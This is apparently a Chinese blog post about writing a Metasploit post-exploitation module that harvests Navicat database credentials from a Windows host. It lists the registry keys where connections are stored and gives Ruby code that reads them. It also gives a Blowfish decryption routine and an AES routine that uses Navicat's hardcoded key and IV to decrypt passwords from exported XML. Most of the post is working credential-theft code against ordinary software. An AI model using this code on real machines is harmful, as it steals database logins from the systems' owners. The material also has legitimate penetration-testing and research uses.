编写Metasploit模块获取Navicat密码

前言

  • 很久之前部门大哥写了一个Navicat密码获取的模块,现在已经不支持Metasploit这个版本了,国庆放假前有空将Navicat密码获取模块重构了。

注册表配置

  • 全部的数据库帐号密码记录都保存在帐号密码,不同的数据库类型在不同的键下面。
reg_keys['mysql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers'
reg_keys['mariadb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers'
reg_keys['mongodb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers'
reg_keys['mssql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers'
reg_keys['oracle'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers'
reg_keys['postgres'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers'
reg_keys['sqlite'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers'
  • 所以直接枚举下面的子键就是每一个连接配置,可以按需获取配置项

Untitled

  • 值得提取的字段有
enc_pwd_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Pwd')
username_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'UserName')
port_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Port')
host_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Host')
  • 然后连接名称就是test_mysql,子键名,能确定一个连接的要素都拿到了,现在要把密码解密出来。

解密注册表

  • 感谢Github用户HyperSine提供的解密算法,转到Ruby代码为:
def decrypt_navicat11(encrypted_data)
    password = ''
    return password unless encrypted_data

    iv = blowfish_encrypt
    ciphertext = [encrypted_data].pack('H*')
    cv = iv
    full_round, left_length = ciphertext.length.divmod(8)

    password = ''
    if full_round > 0
      for i in 0..full_round - 1 do
        t = blowfish_decrypt(ciphertext[i * 8, 8])
        t = strxor(t, cv)
        password += t
        cv = strxor(cv, ciphertext[i * 8, 8])
      end
    end

    if left_length > 0
      cv = blowfish_encrypt(cv)
      test_value = strxor(ciphertext[8 * full_round, left_length], cv[0, left_length])
      password += test_value
    end

    password
  end

导出连接配置

  • Navicat还有一个导出功能,将全部连接导出到文件,可选保存密码,最后密码也是加密保存到了文件中,但是算法略有不同。
  • 导出的文件是XML格式的内容,首先要将它反序列化到Ruby对象:
<?xml version="1.0" encoding="UTF-8"?>
<Connections Ver="1.5">
	<Connection ConnectionName="test_mysql" ProjectUUID="" ConnType="MYSQL" OraConnType="" ServiceProvider="Default" Host="localhost" Port="3306" Database="" OraServiceNameType="" TNS="" MSSQLAuthenMode="" MSSQLAuthenWindowsDomain="" DatabaseFileName="" UserName="root" Password="9021EC742D8D20EC048D3C43AF5BFDC5328EF7A2BA30D40B5779BD5DE373D661" SavePassword="true" SettingsSavePath="C:\Users\FireEye\Documents\Navicat\MySQL\servers\test_mysql" SessionLimit="0" ClientCharacterSet="" ClientEncoding="65001" Keepalive="false" KeepaliveInterval="240" Encoding="65001" MySQLCharacterSet="true" Compression="false" AutoConnect="false" NamedPipe="false" NamedPipeSocket="/tmp/mysql.sock" OraRole="" OraOSAuthen="false" SQLiteEncrypt="false" SQLiteEncryptPassword="" SQLiteSaveEncryptPassword="false" UseAdvanced="false" SSL="false" SSL_Authen="false" SSL_PGSSLMode="REQUIRE" SSL_ClientKey="" SSL_ClientCert="" SSL_CACert="" SSL_Clpher="" SSL_PGSSLCRL="" SSL_WeakCertValidation="false" SSL_AllowInvalidHostName="false" SSL_PEMClientKeyPassword="" SSH="false" SSH_Host="" SSH_Port="22" SSH_UserName="" SSH_AuthenMethod="PASSWORD" SSH_Password="" SSH_SavePassword="false" SSH_PrivateKey="" SSH_Passphrase="" SSH_SavePassphrase="false" SSH_Compress="false" HTTP="false" HTTP_URL="" HTTP_PA="" HTTP_PA_UserName="" HTTP_PA_Password="" HTTP_PA_SavePassword="" HTTP_EQ="" HTTP_CA="" HTTP_CA_ClientKey="" HTTP_CA_ClientCert="" HTTP_CA_CACert="" HTTP_CA_Passphrase="" HTTP_Proxy="" HTTP_Proxy_Host="" HTTP_Proxy_Port="" HTTP_Proxy_UserName="" HTTP_Proxy_Password="" HTTP_Proxy_SavePassword="" Compatibility="false" Compatibility_OverrideLowerCaseTableNames="false" Compatibility_LowerCaseTableNames="" Compatibility_OverrideSQLMode="false" Compatibility_SQLMode="" Compatibility_OverrideIsSupportNDB="false" Compatibility_IsSupportNDB="false" Compatibility_OverrideDatabaseListingMethod="false" Compatibility_DatabaseListingMethod="" Compatibility_OverrideViewListingMethod="false" Compatibility_ViewListingMethod=""/>
</Connections>
  • 提取关键字段的代码:
def parse_xml(data)
    mxml = REXML::Document.new(data).root
    result = []
    mxml.elements.to_a('//Connection').each do |node|
      host = node.attributes['Host']
      port = node.attributes['Port']
      proto = node.attributes['ConnType']
      username = node.attributes['UserName']
      name = node.attributes['ConnectionName']
      epassword = node.attributes['Password']
      password = decrypt_navicat_ncx(epassword)
      result << {
        name: name,
        protocol: proto.downcase,
        hostname: host,
        port: port,
        username: username,
        password: password || epassword
      }
    end
    print_and_save(result)
    return result
  end

解密导出文件

  • key和iv都是硬编码的,所以非常的方便,只有一段代码。
def decrypt_navicat_ncx(ciphertext)
  ciphertext = [ciphertext].pack('H*')
  aes = OpenSSL::Cipher.new('aes-128-cbc')
  aes.decrypt
  aes.key = 'libcckeylibcckey'
  aes.padding = 0
  aes.iv = 'libcciv libcciv '
  aes.update(ciphertext)
end

效果图

Untitled

参考

https://github.com/rapid7/metasploit-framework/pull/17097

https://github.com/HyperSine/how-does-navicat-encrypt-password